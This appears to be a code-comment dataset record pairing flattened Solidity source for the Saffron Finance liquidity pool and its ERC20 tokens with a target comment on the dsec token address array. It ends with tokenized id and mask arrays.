_beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // File: contracts/SaffronV1BalanceToken.sol pragma solidity ^0.6.12; contract SaffronV1BalanceToken is ERC20 { address public pool_address; constructor (string memory name, string memory symbol) public ERC20(name, symbol) { // Set pool_address to saffron pool that created token pool_address = msg.sender; } // Allow creating new tranche tokens function mint(address to, uint256 amount) public { require(msg.sender == pool_address, "must be pool"); _mint(to, amount); } function burn(address account, uint256 amount) public { require(msg.sender == pool_address, "must be pool"); _burn(account, amount); } function set_governance(address to) external { require(msg.sender == pool_address, "must be pool"); pool_address = to; } } // File: contracts/interfaces/ISaffronBase.sol pragma solidity ^0.6.12; interface ISaffronBase { enum Tranche {S, AA, A, SAA, SA} enum V1TokenType {dsec, principal} // Store values (balances, dsec, vdsec) with TrancheUint256 struct TrancheUint256 { uint256 S; uint256 AA; uint256 A; uint256 SAA; uint256 SA; } } // File: contracts/interfaces/ISaffronStrategy.sol pragma solidity ^0.6.12; interface ISaffronStrategy { function deploy_all_capital() external; function select_adapter_for_liquidity_removal() external returns(address); function add_adapter(address adapter_address) external; function add_pool(address pool_address) external; function delete_adapters() external; function set_governance(address to) external; function get_adapter_address(uint256 adapter_index) external view returns(address); } // File: contracts/interfaces/ISaffronPool.sol pragma solidity ^0.6.12; interface ISaffronPool is ISaffronBase { function add_liquidity(uint256 amount, Tranche tranche) external; function remove_liquidity(address v1_dsec_token_address, uint256 dsec_amount, address v1_principal_token_address, uint256 principal_amount) external; function hourly_strategy(address adapter_address) external; function get_governance() external view returns(address); function get_base_asset_address() external view returns(address); function get_strategy_address() external view returns(address); function delete_adapters() external; function set_governance(address to) external; function get_epoch_cycle_params() external view returns (uint256, uint256, uint256); } // File: contracts/interfaces/ISaffronAdapter.sol pragma solidity ^0.6.12; interface ISaffronAdapter is ISaffronBase { function deploy_capital(uint256 amount) external; function return_capital(uint256 base_asset_amount, address to) external; function approve_transfer(address addr,uint256 amount) external; function get_base_asset_address() external view returns(address); function set_base_asset(address addr) external; function get_holdings() external returns(uint256); function get_interest(uint256 principal) external returns(uint256); function set_governance(address to) external; } // File: contracts/lib/SafeERC20.sol pragma solidity ^0.6.0; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File: contracts/SFI.sol pragma solidity ^0.6.12; contract SFI is ERC20 { address public governance; address public SFI_minter; uint256 public MAX_TOKENS = 100000 ether; constructor (string memory name, string memory symbol) public ERC20(name, symbol) { // Initial governance is Saffron Deployer governance = msg.sender; } function mint_SFI(address to, uint256 amount) public { require(msg.sender == SFI_minter, "must be SFI_minter"); require(this.totalSupply() + amount < MAX_TOKENS, "cannot mint more than MAX_TOKENS"); _mint(to, amount); } function set_minter(address to) external { require(msg.sender == governance, "must be governance"); SFI_minter = to; } function set_governance(address to) external { require(msg.sender == governance, "must be governance"); governance = to; } } // File: contracts/SaffronPool.sol pragma solidity ^0.6.12; contract SaffronPool is ISaffronPool { using SafeMath for uint256; using SafeERC20 for IERC20; address public governance; // Governance (v3: add off-chain/on-chain governance) address public base_asset_address; // Base asset managed by the pool (DAI, USDT, YFI...) address public SFI_address; // SFI token uint256 public pool_principal; // Current principal balance (added minus removed) uint256 public pool_interest; // Current interest balance (redeemable by dsec tokens) uint256 public tranche_A_multiplier; // Current yield multiplier for tranche A /**** ADAPTERS ****/ address public best_adapter_address; // Current best adapter selected by strategy uint256 internal adapter_total_principal; // v0: only one adapter ISaffronAdapter[] internal adapters; // v1: list of adapters mapping(address=>uint256) internal adapter_index; // v1: adapter contract address lookup for array indexes /**** STRATEGY ****/ ISaffronStrategy internal strategy; /**** EPOCHS ****/ struct epoch_params { uint256 start_date; // Time when the activity cycle begins (set to blocktime at contract deployment) uint256 duration; // Duration of epoch uint256 removal_duration; // Duration of removal window } epoch_params internal epoch_cycle; /**** EPOCH INDEXED STORAGE ****/ uint256[] public epoch_principal; // Total principal owned by the pool (all tranches) mapping(uint256=>bool) internal epoch_wound_down; // True if epoch has been wound down already (governance) /**** EPOCH-TRANCHE INDEXED STORAGE ****/ // Array of arrays, example: tranche_SFI_earned[epoch][Tranche.S] address[3][] public dsec_token_addresses; // Address for each dsec token address[3][] public principal_token_addresses; // Address for each principal token uint256[5][] public tranche_total_dsec; // Total dsec (tokens + vdsec) uint256[5][] public tranche_total_principal; // Total outstanding principal tokens uint256[3][] public tranche_total_vdsec_AA; // Total AA vdsec uint256[3][] public tranche_total_vdsec_A; // Total A vdsec uint256[5][] public tranche_interest_earned; // Interest earned (calculated at wind_down_epoch) uint256[5][] public tranche_SFI_earned; // Total SFI earned (minted at wind_down_epoch) /**** SFI GENERATION ****/ // v0: pool generates SFI based on subsidy schedule // v1: pool is distributed SFI generated by the strategy contract // v1: pools each get an amount of SFI generated depending on the total liquidity added within each interval TrancheUint256 internal TRANCHE_SFI_MULTIPLIER = TrancheUint256({ S: 70, AA: 29, A: 1, SAA: 0, SA: 0 }); /**** TRANCHE BALANCES ****/ // (v0: S, AA, and A only) // (v1: SAA and SA added) TrancheUint256 internal eternal_unutilized_balances; // Unutilized balance (in base assets) for each tranche (assets held in this pool + assets held in platforms) TrancheUint256 internal eternal_utilized_balances; // Balance for each tranche that is not held within this pool but instead held on a platform via an adapter /**** SAFFRON V1 DSEC TOKENS ****/ // If we just have a token address then we can look up epoch and tranche balance tokens using a mapping(address=>SaffronV1dsecInfo) struct SaffronV1TokenInfo { bool exists; uint256 epoch; Tranche tranche; V1TokenType token_type; } mapping(address=>SaffronV1TokenInfo) internal saffron_v1_token_info; constructor(address _strategy, address _base_asset, address _SFI_address) public { governance = msg.sender; epoch_cycle = epoch_params({ // solhint-disable-next-line not-rely-on-time start_date: block.timestamp, duration: 2 weeks, // 1210000 seconds removal_duration: 1 days // 86400 seconds }); base_asset_address = _base_asset; strategy = ISaffronStrategy(_strategy); SFI_address = _SFI_address; tranche_A_multiplier = 10; } function new_epoch(uint256 epoch, address[] memory saffron_v1_dsec_token_addresses, address[] memory saffron_v1_principal_token_addresses) public { require(msg.sender == governance, "must be governance"); epoch_principal.push(0); tranche_total_dsec.push([0,0,0,0,0]); tranche_total_principal.push([0,0,0,0,0]); tranche_total_vdsec_AA.push([0,0,0]); tranche_total_vdsec_A.push([0,0,0]); tranche_interest_earned.push([0,0,0,0,0]); tranche_SFI_earned.push([0,0,0,0,0]); dsec_token_addresses.push([ // Address for each dsec token saffron_v1_dsec_token_addresses[uint256(Tranche.S)], saffron_v1_dsec_token_addresses[uint256(Tranche.AA)], saffron_v1_dsec_token_addresses[uint256(Tranche.A)] ]); principal_token_addresses.push([ // Address for each principal token saffron_v1_principal_token_addresses[uint256(Tranche.S)], saffron_v1_principal_token_addresses[uint256(Tranche.AA)], saffron_v1_principal_token_addresses[uint256(Tranche.A)] ]); // Token info for looking up epoch and tranche of dsec tokens by token contract address saffron_v1_token_info[saffron_v1_dsec_token_addresses[uint256(Tranche.S)]] = SaffronV1TokenInfo({ exists: true, epoch: epoch, tranche: Tranche.S, token_type: V1TokenType.dsec }); saffron_v1_token_info[saffron_v1_dsec_token_addresses[uint256(Tranche.AA)]] = SaffronV1TokenInfo({ exists: true, epoch: epoch, tranche: Tranche.AA, token_type: V1TokenType.dsec }); saffron_v1_token_info[saffron_v1_dsec_token_addresses[uint256(Tranche.A)]] = SaffronV1TokenInfo({ exists: true, epoch: epoch, tranche: Tranche.A, token_type: V1TokenType.dsec }); // for looking up epoch and tranche of PRINCIPAL tokens by token contract address saffron_v1_token_info[saffron_v1_principal_token_addresses[uint256(Tranche.S)]] = SaffronV1TokenInfo({ exists: true, epoch: epoch, tranche: Tranche.S, token_type: V1TokenType.principal }); saffron_v1_token_info[saffron_v1_principal_token_addresses[uint256(Tranche.AA)]] = SaffronV1TokenInfo({ exists: true, epoch: epoch, tranche: Tranche.AA, token_type: V1TokenType.principal }); saffron_v1_token_info[saffron_v1_principal_token_addresses[uint256(Tranche.A)]] = SaffronV1TokenInfo({ exists: true, epoch: epoch, tranche: Tranche.A, token_type: V1TokenType.principal }); } event DsecGeneration(uint256 time_to_removal, uint256 amount, uint256 dsec, address dsec_address, uint256 epoch, uint256 tranche, address user_address, address principal_token_addr); event AddLiquidity(uint256 new_pool_principal, uint256 new_epoch_principal, uint256 new_eternal_balance, uint256 new_tranche_principal, uint256 new_tranche_dsec); // LP user adds liquidity to the pool // Pre-requisite (front-end): have user approve transfer on front-end to base asset using our contract address function add_liquidity(uint256 amount, Tranche tranche) external override { require(tranche == Tranche.S, "tranche S only"); // v0: can't add to any tranche other than the S tranche uint256 epoch = get_current_epoch(); require(epoch == 0, "v0: must be epoch 0 only"); // v0: can't add liquidity after epoch 0 require(!is_removal_window(epoch), "can't add during removal period"); require(amount != 0, "can't add 0"); // Calculate the dsec for this amount of DAI // Tranche S dsec owners own proportional vdsec awarded to the S tranche when base assets in S are moved to the A or AA tranches // Tranche S earns SFI rewards for A and AA based on vdsec as well uint256 dsec = amount.mul(get_seconds_until_next_removal_window(epoch)); pool_principal = pool_principal.add(amount); // Add DAI to principal totals epoch_principal[epoch] = epoch_principal[epoch].add(amount); // Add DAI total balance for epoch if (tranche == Tranche.S) eternal_unutilized_balances.S = eternal_unutilized_balances.S.add(amount); // Add to eternal balance of S tranche // Update state tranche_total_dsec[epoch][uint256(tranche)] = tranche_total_dsec[epoch][uint256(tranche)].add(dsec); tranche_total_principal[epoch][uint256(tranche)] = tranche_total_principal[epoch][uint256(tranche)].add(amount); // Transfer DAI from LP to pool IERC20(base_asset_address).safeTransferFrom(msg.sender, address(this), amount); // Mint Saffron V1 epoch 0 S dsec tokens and transfer them to sender SaffronV1BalanceToken(dsec_token_addresses[uint256(tranche)][epoch]).mint(msg.sender, dsec); // Mint Saffron V1 epoch 0 S principal tokens and transfer them to sender SaffronV1BalanceToken(principal_token_addresses[uint256(tranche)][epoch]).mint(msg.sender, amount); emit DsecGeneration(get_seconds_until_next_removal_window(epoch), amount, dsec, dsec_token_addresses[uint256(tranche)][epoch], epoch, uint256(tranche), msg.sender, principal_token_addresses[uint256(tranche)][epoch]); emit AddLiquidity(pool_principal, epoch_principal[epoch], eternal_unutilized_balances.S, tranche_total_principal[uint256(tranche)][epoch], tranche_total_dsec[epoch][uint256(tranche)]); } event WindDownEpochSFI(uint256 previous_epoch, uint256 S_SFI, uint256 AA_SFI, uint256 A_SFI); event WindDownEpochState(uint256 epoch, uint256 tranche_S_interest, uint256 tranche_AA_interest, uint256 tranche_A_interest, uint256 tranche_SFI_earnings_S, uint256 tranche_SFI_earnings_AA, uint256 tranche_SFI_earnings_A); event WindDownEpochInterest(uint256 adapter_holdings, uint256 adapter_total_principal, uint256 epoch_interest_rate, uint256 epoch_principal, uint256 epoch_interest, uint256 tranche_A_interest, uint256 tranche_AA_interest); struct WindDownVars { uint256 previous_epoch; uint256 SFI_rewards; uint256 epoch_interest; uint256 tranche_AA_interest; uint256 tranche_A_interest; uint256 tranche_S_share_of_AA_interest; uint256 tranche_S_share_of_A_interest; uint256 tranche_S_interest; } function wind_down_epoch(uint256 epoch) public { require(msg.sender == governance, "must be governance"); require(!epoch_wound_down[epoch], "epoch already wound down"); uint256 current_epoch = get_current_epoch(); require(epoch < current_epoch, "cannot wind down future epoch"); WindDownVars memory wind_down = WindDownVars({ previous_epoch: 0, SFI_rewards: 0, epoch_interest: 0, tranche_AA_interest: 0, tranche_A_interest: 0, tranche_S_share_of_AA_interest: 0, tranche_S_share_of_A_interest: 0, tranche_S_interest: 0 }); wind_down.previous_epoch = current_epoch - 1; // solhint-disable-next-line not-rely-on-time require(block.timestamp >= get_removal_window_start(wind_down.previous_epoch), "can't call before removal window"); // Calculate SFI earnings per tranche wind_down.SFI_rewards = (48000 * 1 ether) >> epoch; // v1: add plateau for ongoing generation TrancheUint256 memory tranche_SFI_earnings = TrancheUint256({ S: TRANCHE_SFI_MULTIPLIER.S * wind_down.SFI_rewards / 100, AA: TRANCHE_SFI_MULTIPLIER.AA * wind_down.SFI_rewards / 100, A: TRANCHE_SFI_MULTIPLIER.A * wind_down.SFI_rewards / 100, SAA: 0, SA: 0 }); emit WindDownEpochSFI(wind_down.previous_epoch, tranche_SFI_earnings.S, tranche_SFI_earnings.AA, tranche_SFI_earnings.A); // Calculate interest earnings per tranche // Wind down will calculate interest and SFI earned by each tranche at the beginning of the removal window for each epoch that just ended // Liquidity cannot be removed until wind_down_epoch is called and epoch_wound_down[epoch] is set to true // Calculate pool_interest // v0: we only have one adapter ISaffronAdapter adapter = ISaffronAdapter(best_adapter_address); wind_down.epoch_interest = adapter.get_interest(adapter_total_principal); pool_interest = pool_interest.add(wind_down.epoch_interest); // Calculate tranche share of interest wind_down.tranche_A_interest = wind_down.epoch_interest.mul(tranche_A_multiplier.mul(1 ether)/(tranche_A_multiplier + 1)) / 1 ether; wind_down.tranche_AA_interest = wind_down.epoch_interest - wind_down.tranche_A_interest; emit WindDownEpochInterest(adapter.get_holdings(), adapter_total_principal, (((wind_down.epoch_interest.add(epoch_principal[epoch])).mul(1 ether)).div(epoch_principal[epoch])), epoch_principal[epoch], wind_down.epoch_interest, wind_down.tranche_A_interest, wind_down.tranche_AA_interest); // Calculate how much of AA and A interest is owned by the S tranche and subtract from AA and A wind_down.tranche_S_share_of_AA_interest = (tranche_total_vdsec_AA[epoch][uint256(Tranche.S)].div(tranche_total_dsec[epoch][uint256(Tranche.AA)])).mul(wind_down.tranche_AA_interest); wind_down.tranche_S_share_of_A_interest = (tranche_total_vdsec_A[epoch][uint256(Tranche.S)].div(tranche_total_dsec[epoch][uint256(Tranche.A)])).mul(wind_down.tranche_A_interest); wind_down.tranche_S_interest = wind_down.tranche_S_share_of_AA_interest.add(wind_down.tranche_S_share_of_A_interest); wind_down.tranche_AA_interest = wind_down.tranche_AA_interest.add(wind_down.tranche_S_share_of_AA_interest); wind_down.tranche_A_interest = wind_down.tranche_A_interest.add(wind_down.tranche_S_share_of_A_interest); // Update state for remove_liquidity tranche_interest_earned[epoch][uint256(Tranche.S)] = wind_down.tranche_S_interest; // v0: Tranche S owns all interest tranche_interest_earned[epoch][uint256(Tranche.AA)] = wind_down.tranche_AA_interest; // v0: Should always be 0 tranche_interest_earned[epoch][uint256(Tranche.A)] = wind_down.tranche_A_interest; // v0: Should always be 0 emit WindDownEpochState(epoch, wind_down.tranche_S_interest, wind_down.tranche_AA_interest, wind_down.tranche_A_interest, uint256(tranche_SFI_earnings.S), uint256(tranche_SFI_earnings.AA), uint256(tranche_SFI_earnings.A)); tranche_SFI_earned[epoch][uint256(Tranche.S)] = tranche_SFI_earnings.S.add(tranche_total_vdsec_AA[epoch][uint256(Tranche.S)].div(tranche_total_dsec[epoch][uint256(Tranche.AA)]).mul(tranche_SFI_earnings.AA)).add(tranche_total_vdsec_A[epoch][uint256(Tranche.S)].div(tranche_total_dsec[epoch][uint256(Tranche.A)]).mul(tranche_SFI_earnings.A)); tranche_SFI_earned[epoch][uint256(Tranche.AA)] = tranche_SFI_earnings.AA.sub(tranche_total_vdsec_AA[epoch][uint256(Tranche.S)].div(tranche_total_dsec[epoch][uint256(Tranche.AA)]).mul(tranche_SFI_earnings.AA)); tranche_SFI_earned[epoch][uint256(Tranche.A)] = tranche_SFI_earnings.A.sub(tranche_total_vdsec_A[epoch][uint256(Tranche.S)].div(tranche_total_dsec[epoch][uint256(Tranche.A)]).mul(tranche_SFI_earnings.A)); // Distribute SFI earnings to S tranche based on S tranche % share of dsec via vdsec emit WindDownEpochState(epoch, wind_down.tranche_S_interest, wind_down.tranche_AA_interest, wind_down.tranche_A_interest, uint256(tranche_SFI_earned[epoch][uint256(Tranche.S)]), uint256(tranche_SFI_earned[epoch][uint256(Tranche.AA)]), uint256(tranche_SFI_earned[epoch][uint256(Tranche.A)])); epoch_wound_down[epoch] = true; // Mint SFI SFI(SFI_address).mint_SFI(address(this), wind_down.SFI_rewards); delete wind_down; } event RemoveLiquidityDsec(uint256 dsec_percent, uint256 interest_owned, uint256 SFI_owned); event RemoveLiquidityPrincipal(uint256 principal); function remove_liquidity(address v1_dsec_token_address, uint256 dsec_amount, address v1_principal_token_address, uint256 principal_amount) external override { require(dsec_amount > 0 || principal_amount > 0, "can't remove 0"); ISaffronAdapter best_adapter = ISaffronAdapter(best_adapter_address); uint256 interest_owned; uint256 SFI_owned; uint256 dsec_percent; // Update state for removal via dsec token if (v1_dsec_token_address != address(0x0) && dsec_amount > 0) { // Get info about the v1 dsec token from its address and check that it exists SaffronV1TokenInfo memory sv1_info = saffron_v1_token_info[v1_dsec_token_address]; require(sv1_info.exists, "balance token lookup failed"); require(sv1_info.tranche == Tranche.S, "v0: tranche must be S"); // Token epoch must be a past epoch uint256 token_epoch = sv1_info.epoch; require(sv1_info.token_type == V1TokenType.dsec, "bad dsec address"); require(token_epoch == 0, "v0: previous epoch must be 0"); require(epoch_wound_down[token_epoch], "can't remove from wound up epoch"); // Dsec gives user claim over a tranche's earned SFI and interest dsec_percent = dsec_amount.mul(1 ether).div(tranche_total_dsec[token_epoch][uint256(Tranche.S)]); interest_owned = tranche_interest_earned[token_epoch][uint256(Tranche.S)].mul(dsec_percent) / 1 ether; SFI_owned = tranche_SFI_earned[token_epoch][uint256(Tranche.S)].mul(dsec_percent) / 1 ether; tranche_interest_earned[token_epoch][uint256(Tranche.S)] = tranche_interest_earned[token_epoch][uint256(Tranche.S)].sub(interest_owned); tranche_SFI_earned[token_epoch][uint256(Tranche.S)] = tranche_SFI_earned[token_epoch][uint256(Tranche.S)].sub(SFI_owned); tranche_total_dsec[token_epoch][uint256(Tranche.S)] = tranche_total_dsec[token_epoch][uint256(Tranche.S)].sub(dsec_amount); pool_interest = pool_interest.sub(interest_owned); } // Update state for removal via principal token if (v1_principal_token_address != address(0x0) && principal_amount > 0) { // Get info about the v1 dsec token from its address and check that it exists SaffronV1TokenInfo memory sv1_info = saffron_v1_token_info[v1_principal_token_address]; require(sv1_info.exists, "balance token info lookup failed"); require(sv1_info.tranche == Tranche.S, "v0: tranche must be S"); // Token epoch must be a past epoch uint256 token_epoch = sv1_info.epoch; require(sv1_info.token_type == V1TokenType.principal, "bad balance token address"); require(token_epoch == 0, "v0: bal token epoch must be 0"); require(epoch_wound_down[token_epoch], "can't remove from wound up epoch"); tranche_total_principal[token_epoch][uint256(Tranche.S)] = tranche_total_principal[token_epoch][uint256(Tranche.S)].sub(principal_amount); epoch_principal[token_epoch] = epoch_principal[token_epoch].sub(principal_amount); pool_principal = pool_principal.sub(principal_amount); adapter_total_principal = adapter_total_principal.sub(principal_amount); } // Transfer if (v1_dsec_token_address != address(0x0) && dsec_amount > 0) { SaffronV1BalanceToken sbt = SaffronV1BalanceToken(v1_dsec_token_address); require(sbt.balanceOf(msg.sender) >= dsec_amount, "insufficient dsec balance"); sbt.burn(msg.sender, dsec_amount); best_adapter.return_capital(interest_owned, msg.sender); IERC20(SFI_address).safeTransfer(msg.sender, SFI_owned); emit RemoveLiquidityDsec(dsec_percent, interest_owned, SFI_owned); } if (v1_principal_token_address != address(0x0) && principal_amount > 0) { SaffronV1BalanceToken sbt = SaffronV1BalanceToken(v1_principal_token_address); require(sbt.balanceOf(msg.sender) >= principal_amount, "insufficient principal balance"); sbt.burn(msg.sender, principal_amount); best_adapter.return_capital(principal_amount, msg.sender); emit RemoveLiquidityPrincipal(principal_amount); } require((v1_dsec_token_address != address(0x0) && dsec_amount > 0) || (v1_principal_token_address != address(0x0) && principal_amount > 0), "no action performed"); } // Strategy contract calls this to deploy capital to platforms event StrategicDeploy(address adapter_address, uint256 amount, uint256 epoch); function hourly_strategy(address adapter_address) external override { require(msg.sender == address(strategy), "must be strategy"); uint256 epoch = get_current_epoch(); best_adapter_address = adapter_address; ISaffronAdapter best_adapter = ISaffronAdapter(adapter_address); uint256 amount = IERC20(base_asset_address).balanceOf(address(this)); // Get amount to add from S tranche to add to A and AA uint256 new_A_amount = eternal_unutilized_balances.S / 11; uint256 new_AA_amount = new_A_amount * 10; // Store new balances (S tranche is wiped out into AA and A tranches) eternal_utilized_balances.S = 0; eternal_utilized_balances.AA = eternal_utilized_balances.AA.add(new_AA_amount); eternal_utilized_balances.A = eternal_utilized_balances.A.add(new_A_amount); // Record vdsec for tranche S and new dsec for tranche AA and A tranche_total_vdsec_AA[epoch][uint256(Tranche.S)] = tranche_total_vdsec_AA[epoch][uint256(Tranche.S)].add(get_seconds_until_next_removal_window(epoch).mul(new_AA_amount)); // Total AA vdsec owned by tranche S tranche_total_vdsec_A[epoch][uint256(Tranche.S)] = tranche_total_vdsec_A[epoch][uint256(Tranche.S)].add(get_seconds_until_next_removal_window(epoch).mul(new_A_amount)); // Total A vdsec owned by tranche S tranche_total_dsec[epoch][uint256(Tranche.AA)] = tranche_total_dsec[epoch][uint256(Tranche.AA)].add(get_seconds_until_next_removal_window(epoch).mul(new_AA_amount)); // Total dsec for tranche AA tranche_total_dsec[epoch][uint256(Tranche.A)] = tranche_total_dsec[epoch][uint256(Tranche.A)].add(get_seconds_until_next_removal_window(epoch).mul(new_A_amount)); // Total dsec for tranche A tranche_total_principal[epoch][uint256(Tranche.AA)] = tranche_total_principal[epoch][uint256(Tranche.AA)].add(new_AA_amount); // Add total principal for AA tranche_total_principal[epoch][uint256(Tranche.A)] = tranche_total_principal[epoch][uint256(Tranche.A)].add(new_A_amount); // Add total principal for A emit StrategicDeploy(adapter_address, amount, epoch); // Add principal to adapter total adapter_total_principal = adapter_total_principal.add(amount); // Move base assets to adapter and deploy IERC20(base_asset_address).safeTransfer(adapter_address, amount); best_adapter.deploy_capital(amount); } /*** GOVERNANCE ***/ function set_governance(address to) external override { require(msg.sender == governance, "must be governance"); governance = to; } /*** TIME UTILITY FUNCTIONS ***/ // Return whether or not we're in a removal period // Removal window begins every epoch_cycle.duration seconds and lasts for epoch_cycle.removal_duration seconds // Removal window is counted as part of the previous epoch (removal window for epoch 0 begins at 14 days and ends on 15 days - 1 second) function is_removal_window(uint256 epoch) public view returns (bool) { uint256 removal_window_begin = epoch_cycle.start_date.add(epoch.add(1).mul(epoch_cycle.duration)); uint256 removal_window_end = removal_window_begin.add(epoch_cycle.removal_duration); // solhint-disable-next-line not-rely-on-time return (block.timestamp >= removal_window_begin && block.timestamp < removal_window_end); } function get_removal_window_start(uint256 epoch) public view returns (uint256) { return epoch_cycle.start_date.add(epoch.add(1).mul(epoch_cycle.duration)); } function get_removal_window_end(uint256 epoch) public view returns (uint256) { return get_removal_window_start(epoch).add(epoch_cycle.removal_duration); } function get_current_epoch() public view returns (uint256) { // solhint-disable-next-line not-rely-on-time return ( block.timestamp - epoch_cycle.start_date ) / epoch_cycle.duration; } function get_seconds_until_next_removal_window(uint256 epoch) public view returns (uint256) { // solhint-disable-next-line not-rely-on-time return epoch_cycle.start_date.add(epoch.add(1).mul(epoch_cycle.duration)).sub(block.timestamp); } /*** GETTERS ***/ function get_epoch_cycle_params() external view override returns (uint256, uint256, uint256) { return (epoch_cycle.start_date, epoch_cycle.duration, epoch_cycle.removal_duration); } function get_base_asset_address() external override view returns (address) { return base_asset_address; } function get_governance() external override view returns (address) { return governance; } function get_strategy_address() external override view returns (address) { return address(strategy); } //***** ADAPTER FUNCTIONS *****// // Delete adapters (v0: for v0 wind-down) function delete_adapters() external override { require(msg.sender == governance, "must be governance"); delete adapters; } }
Address for each dsec token
address[3][] public dsec_token_addresses;
6,770,567
[ 1, 1887, 364, 1517, 302, 3321, 1147, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
